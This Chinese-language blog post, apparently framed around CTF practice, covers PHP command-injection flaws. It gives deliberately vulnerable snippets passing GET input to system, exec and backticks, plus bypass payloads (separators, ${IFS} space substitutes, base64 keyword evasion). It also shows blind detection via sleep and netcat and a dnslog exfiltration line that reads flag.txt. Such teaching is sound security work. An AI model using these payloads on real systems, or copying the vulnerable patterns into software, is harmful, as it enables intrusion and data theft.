前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >命令执行漏洞整理

命令执行漏洞整理

作者头像
用户2700375
发布2022-06-09 14:30:31
7320
发布2022-06-09 14:30:31
举报
文章被收录于专栏:很菜的web狗

命令执行漏洞的成因是,由于没有针对代码中可执行的特殊函数入口做过滤,导致用户可以提交恶意语句,并提交服务器执行。

命令执行相关函数

system

代码语言:javascript
复制
<?php
    $c = $_GET['c'];
    system($c);
?

c变量是可控的 这就造成了命令执行。system执行后结果会返回到页面。

passthru

和system函数类似

代码语言:javascript
复制
<?php
    highlight_file(__FILE__);
    $c = $_GET['c'];
    passthru($c);
?>

exec

exec也可造成命令执行 但和前两个函数不同的是他不会直接将结果返回到页面 需要打印。

string exec (string command, array &output, int &return_var) command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值

打印$b的目的是获取每一行字符串。

shell_exec

代码语言:javascript
复制
<?php
    $c = $_GET['c'];
    var_dump(shell_exec($c));
?>

本身也是不可以回显需要打印。

反引号造成的命令执行

另外补充一点就是 如果可控变量在反引号内 那么也可造成命令执行。只不过一般项目里会肥肠少见。。。

代码语言:javascript
复制
<?php
    $c = $_GET['c'];
    var_dump(`$c`);
?>

命令执行的绕过

规定执行代码

例如有这样一种情况

代码语言:javascript
复制
<?php
    highlight_file(__FILE__);
    $c = $_GET['c'];
    $rce = "echo 123";
    system($rce.$c);
?>
代码语言:javascript
复制
这里绕过方法不止一种
c=1%0awhoami	换行绕过
c=1;whoami		利用分号绕过
c=1|whoami		管道符绕过

过滤空格

有些时候 我们执行命令 如 cat flag.txt 中间必须要有空格才可打开此文件读到内容。但是如果空格被过滤我们就应该用一些字符来替代空格

代码语言:javascript
复制
<	可替代空格
${IFS}	可替代空格
$IFS$1	可替代空格
%09	(url传递可替代空格)

关键字过滤绕过

记得年底的时候貌似坐过一道命令执行相关的ctf过滤了关键字

这里题目记不太清了 简单写个思路

代码语言:javascript
复制
a=l;b=s;$a$b	//大家都知道。。。
//利用base64加密解密 
`echo d2hvYW1p|base64 -d`	//linux下执行输出whoami命令 注意加反引号

无回显命令执行

代码语言:javascript
复制
无回显情况如何判断 命令是否执行?
延时
http请求
dns请求

例如这种 没有打印次函数不会显示结果的。那么我们如何去判断 有没有带入命令呢 这时候我们来加一个延时 思路有点类似于盲注?

管道符加sleep可以明显感觉到 网页刷新慢了三秒钟 即可判断存在无回显命令执行。

如果是可通讯状态下 可以利用这个点发起一个http请求到自己的vps 然后vps进行监听

代码语言:javascript
复制
nc -lv 8080

收到请求则证明存在命令执行。

dnslog

请求内容换成 从服务器读取的数据 之后可以看到从dnslog上看到请求结果

你可能会问 为什么不直接flag.txt……..

脑子不好用 把PHP写成了 txt 只是个例子 自己把它当成flag.php就好了

ping的话发送的是dns请求那么dnslog肯定是可以用的

请求内容里不能包含空格 我们在请求dnslog的时候应该替换一下

代码语言:javascript
复制
ping aaa bbb.dns.log 因为这样是不可以ping的 地址不应该包含空格

这里将空格替换成666

代码语言:javascript
复制
`cat flag.txt|sed s/[[:space:]]/666/`.test.dnslog.link

访问一下拿到了flag。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-02-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 命令执行相关函数
    • system
      • passthru
        • exec
          • shell_exec
            • 反引号造成的命令执行
            • 命令执行的绕过
              • 规定执行代码
                • 过滤空格
                  • 关键字过滤绕过
                  • 无回显命令执行
                    • dnslog
                    相关产品与服务
                    云服务器
                    云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档